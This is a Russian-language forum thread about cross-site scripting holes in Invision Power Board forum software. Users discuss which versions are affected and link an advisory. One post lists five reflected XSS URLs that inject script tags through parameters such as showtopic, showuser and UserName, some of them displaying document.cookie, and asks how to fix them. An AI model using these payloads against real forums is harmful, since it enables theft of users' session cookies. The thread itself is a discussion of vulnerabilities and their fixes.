Межсайтовый скриптинг в Invision Power Board

[Terabyte]

del

Изменено 13 Августа 2017 пользователем Terabyte

[GiV]

Хмм, а ты уверен что это XSS работает на версиях 1.2 и выше?

Я вот 1.1.х не пробовал, но под 1.2-1.3 сей XSS работает только на форумах http://demo.invisionboard.com/ и все!

[Teron]

Вот опять (сегодня):

http://www.securitylab.ru/43538.html

[GiV]

Teron это только для обладателей чата от IPS

[-co-]

http://[target]/?c='><script>alert(window.document.url)</script><plain text>

http://[target]/?showtopic='><script>alert(window.document.url)</script><plaintext>

http://[target]/?act=SR&f='><script>alert(document.cookie)</script>

http://[t arget]/?showuser='><script>alert(document.cookie)</script>

http://[target]/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert(document.cookie)</script>

 

эти баги до сих пор актуальны, как их исправить?